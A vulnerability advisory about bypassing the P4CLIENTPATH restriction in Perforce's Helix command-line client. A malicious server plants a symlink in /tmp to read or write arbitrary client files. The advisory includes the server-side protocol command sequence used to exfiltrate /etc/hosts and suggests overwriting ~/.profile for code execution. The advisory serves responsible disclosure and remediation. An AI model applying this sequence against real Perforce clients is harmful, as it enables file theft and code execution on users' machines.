Perforce - Helix Command-Line Client P4CLIENTPATH Leading to Arbitrary File Read / Write

The p4 Helix Command-Line Client uses the optional P4CLIENTPATH environment variable to restrict directories to which the application permitted to read or write files. This configuration can be trivially bypassed allowing a malicious Perforce server to read or write arbitrary files on the client system.

Patch notes resulting from this bug report be viewed at https://www.perforce.com/perforce/r19.1/user/relnotes.txt #1810430 (Bug #98540)

Description:       Helix Command-Line Client P4CLIENTPATH  Leading to Arbitrary File Read / Write
Versions Affected: 2014.1 through 2019.1 Patch 1
Category:          Arbitrary File Read / Write
Reporter:          Alex Chapman

Summary:
--------
The `p4` Helix Command-Line Client uses the optional `P4CLIENTPATH` environment variable to restrict directories to which the application is permitted to read or write files. This configuration can be trivially bypassed allowing a malicious Perforce server to read or write arbitrary files on the client system.

Details:
--------
The optional `P4CLIENTPATH` environment variable is meant to restrict directories to which the `p4` client application is permitted to read or write files. No matter the value of the environment variable, the client is permitted to write files to the `/tmp` directory, and there is no restriction on creating symbolic links.

Since the `p4` Helix Command-Line Client responds to arbitrary server commands, including the `client-WriteFile` and `client-SendFile` commands, a malicious Perforce server can create a symbolic link to the root directory from the `/tmp` directory (using the `client-WriteFile` command) in order to disclose the contents of arbitrary files from the client system, or write arbitrary files to the client system. 

Analysis:
---------
Exploitation of this vulnerability allows a malicious server to write arbitrary data to any file path accessible to the user running the `p4` client, regardless of the `P4CLIENTPATH` configuration. As an example of exploiting this issue, overwriting a `~/.profile` on *nix base systems would allow for Remote Code Execution when the user next starts a shell. Alternatively, a malicious server can request the client send the contents of arbitrary files, potentially disclosing sensitive client information.

This issue could be exploited in several ways, including:
1. Abusing CI/CD systems which allow users to specify arbitrary Perforce servers from which to obtain source
2. Intercepting non-TLS encrypted p4 connections on untrusted networks (e.g. Public Wifi)
3. Convincing users through the use of social engineering techniques to connect to a malicious Perforce server

In order to remediate this issue the creation of Symbolic Links should be restricted when the `P4CLIENTPATH` environment variable is configured.

Proof of Concept:
-----------------
See the Proof of Concept Python3 script at ***redacted***. Below is the server side output of this script when a p4 client connects using the `./p4 -p <server_address>:<server_port> login` command with the `P4CLIENTPATH` environment variable set to `/home/user/p4/`. This output shows the contents of the clients `/etc/host` file being sent to the server.

# python3 server.py 1667
p4server listening on 0.0.0.0:1667
Received connection
 < Receiving commands
protocol(cmpfile='', client='85', api='99999', enableStreams='', enableGraph='', expandAndmaps='', host='ubuntu', port='perforce.example.com:1667', sndbuf='319487', rcvbu
f='319488')
 > Sending commands
protocol(xfiles='7', server='3', server2='46', serverID='master', revver='9', tzoffset='0', security='3', sndbuf='34559', rcvbuf='280800', autoTune='1')
 > Sending commands
client-Ping()
 < Receiving commands
user-login(version='2018.2/LINUX26X86_64/1751184', autoLogin='', prog='p4', client='ubuntu', cwd='/home/user/p4', host='ubuntu', os='UNIX', user='user
', charset='1', clientCase='0')
 > Sending commands
client-OpenFile(path='/tmp/symlink', type='400', handle='sync')
 > Sending commands
client-WriteFile(data='/\n', handle='sync')
 > Sending commands
client-CloseFile(data='', commit='', handle='sync')
 > Sending commands
client-SendFile(handle='0', path='/tmp/symlink/etc/hosts', open='open_file_result', write='read_file_result', confirm='confirm', decline='decline')
 > Sending commands
release()
 < Receiving commands
dm-Ping()
 < Receiving commands
open_file_result(fileSize='232', handle='0', path='/tmp/symlink/etc/hosts', open='open_file_result', write='read_file_result', confirm='confirm', decline='decline')
 < Receiving commands
read_file_result(data='127.0.0.1\tlocalhost\n127.0.1.1\tubuntu\n...', handle='0')
Contents of '/tmp/symlink/etc/hosts':
        127.0.0.1       localhost
        127.0.1.1       ubuntu

        # The following lines are desirable for IPv6 capable hosts
        ::1     ip6-localhost ip6-loopback
        fe00::0 ip6-localnet
        ff00::0 ip6-mcastprefix
        ff02::1 ip6-allnodes
        ff02::2 ip6-allrouters

 < Receiving commands
confirm(data='', fileSize='232', digest='0991B6FEC21002CDCA46AA738B3BBDA6', time='1568203510', handle='0', path='/tmp/symlink/etc/hosts', open='open_file_result', write='rea
d_file_result', confirm='confirm', decline='decline')
 < Receiving commands
release2()

Timeline
--------
20190423 - Supplied perforce with vulnerability details
20190423 - Initial vendor response and request for more information
20190423 - Further information supplied
20190425 - Issue Confirmed
20190903 - Patch issued Perforce #1810430 (Bug #98540)